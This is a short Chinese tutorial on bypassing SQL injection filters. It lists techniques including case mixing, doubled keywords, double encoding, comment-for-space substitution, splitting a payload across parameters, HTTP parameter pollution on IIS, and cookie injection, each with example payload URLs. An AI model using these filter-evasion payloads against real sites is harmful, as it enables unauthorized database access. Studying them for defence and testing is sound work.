SQL注入的绕过

目录

​​SQL注入的绕过​​

​​1.大小写绕过​​

​​2.双写绕过​​

​​3.编码绕过​​

​​4.使用注释​​

​​5.多参数拆分​​

​​6.参数污染​​

​​7.注入到cookie​​


1.大小写绕过

       当我们访问如下URL的时候,提示“存在非法字符”:

               http://www.xxx.com/web/rg/1.php?id=1 order by 3

       可以尝试Order,同理如果其他字符必拦截,也可以大小写混合。

2.双写绕过

       当我们遇到关键字必过滤的时候,如我们访问如下URL:

               http://www.xxx.com/web/rg/1.php?id=1 order by 3

       过滤后变成:http://www.xxx.com/web/rg/1.php?id=1 by 3

      这里order必过滤了,可以尝试ororderder,同理如果其他关键字必过滤了,也可以双写绕过。

3.编码绕过

二次编码绕过。

4.使用注释

使用其替换空格。

             如:http://www.tianchi.com/web/rg/1.php?id=1 union select 1,2,3

    转换为:

​            http://www.tianchi.com/web/rg/1.php?id=1/*ss*/union/*ss*/select/*ss*/1,2,3​

5.多参数拆分

        如请求的URL:a=xxx&b=xxx

        SQL语句如下:a=xxx and b=xxx

        在注入上可以如下使用:a=union/*&b=*/select 1,2,3

                   最终的SQL语句:a=union/* and b=*/select 1,2,3

6.参数污染

HTTP参数污染,指的是同一个参数多次出现,不同的中间件会解析为不同的结果。

        以id=1&id=2为例,

        PHP/Apacche:以最后一次出现的参数值为准,id=2;

        IIS:所有参数值以逗号连接,id=1,2。

        Apache Tomcat:以第一次出现的值为准,id=1。

----------------------------------------------------------------------------------------------------------------------------------------

        在IIS下,假如我们想使用:id=1 union select 1,2,3

        可以转换为:id=1/*&id=*/union/*&id=*/select/*&id=*/1&id=2&id=3

        最终的SQL语句:id=1/*,*/union/*,*/select/*,*/1,2,3

7.注入到cookie

       针对于开发者只检测GET/POST,没有检测cookie。